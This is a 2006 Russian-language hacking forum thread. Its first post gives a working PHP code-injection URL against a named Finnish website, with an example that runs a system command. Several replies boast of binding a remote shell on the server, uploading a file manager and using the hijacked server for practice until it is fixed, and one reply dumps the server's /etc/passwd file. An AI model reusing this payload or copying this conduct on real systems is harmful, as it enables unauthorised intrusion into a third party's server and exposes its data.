php-injection у финов

Discussion in 'Уязвимости' started by LoFFi, 9 Mar 2006.

  1. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    сайт http://www.julkaisut.fi/

    вот офигенная дыра
    Code:
    http://www.julkaisut.fi/index.php?action[]=IBrowsing::gotoFolder(PHP CODE)
    пример

    Code:
    http://www.julkaisut.fi/index.php?action[]=IBrowsing::gotoFolder(system('ls'))

    Не жалейте плюсов =)

    ++++++++++++++++++++++++++++++
     
    1 person likes this.
  2. w4rd3n

    w4rd3n Banned

    Joined:
    6 Oct 2005
    Messages:
    143
    Likes Received:
    3
    Reputations:
    -4
    Респект...
    Прикольная бага рань с такин не сталкивался...

    Вот так удобнее...
     
  3. iNcluDe

    iNcluDe New Member

    Joined:
    7 Mar 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    2
    Прикольная конструкция запроса

    Признавайтесь, кто шелл уже забиндил =)))
    bind.pl 453 08/03/06 07:46 File rw-r--r--
     
    #3 iNcluDe, 10 Mar 2006
    Last edited: 10 Mar 2006
  4. NeuRonix

    NeuRonix Elder - Старейшина

    Joined:
    5 Mar 2006
    Messages:
    19
    Likes Received:
    21
    Reputations:
    8
    Респект использую сервак, как плацдарм для обучения пока дырку не закроют
     
  5. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Я там шелл биндил, тока подключиться так и несмог че то сайт в дауне был ))
     
  6. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    380
    Likes Received:
    144
    Reputations:
    29
    а может просто фаер стоит?
     
  7. iNcluDe

    iNcluDe New Member

    Joined:
    7 Mar 2006
    Messages:
    9
    Likes Received:
    2
    Reputations:
    2
    Всё хороше, но шелл сам пос ебе полное Г
    А так для обучения подойдёт
    Я туду Nfm залил на всякий случай
     
  8. Danox

    Danox New Member

    Joined:
    23 Jan 2006
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    etc/passwd
    ----------------------------------
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    Debian-exim:x:102:102::/var/spool/exim4:/bin/false
    identd:x:100:65534::/var/run/identd:/bin/false
    sshd:x:101:65534::/var/run/sshd:/bin/false
    cvs:x:103:104::/var/lib/cvs:/bin/false
    postfix:x:104:105::/var/spool/postfix:/bin/false
    svn:x:105:107::/home/svn:/bin/false
    ftp:x:106:65534::/home/ftp:/bin/false
    dovecot:x:108:108:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
     
  9. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    мда.... а за что интерестно мне KEZ -1 Дал? o_0?
     
    1 person likes this.
  10. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    не оффтопь! Для выяснения репы существует спец.раздел или пиши в ПМ.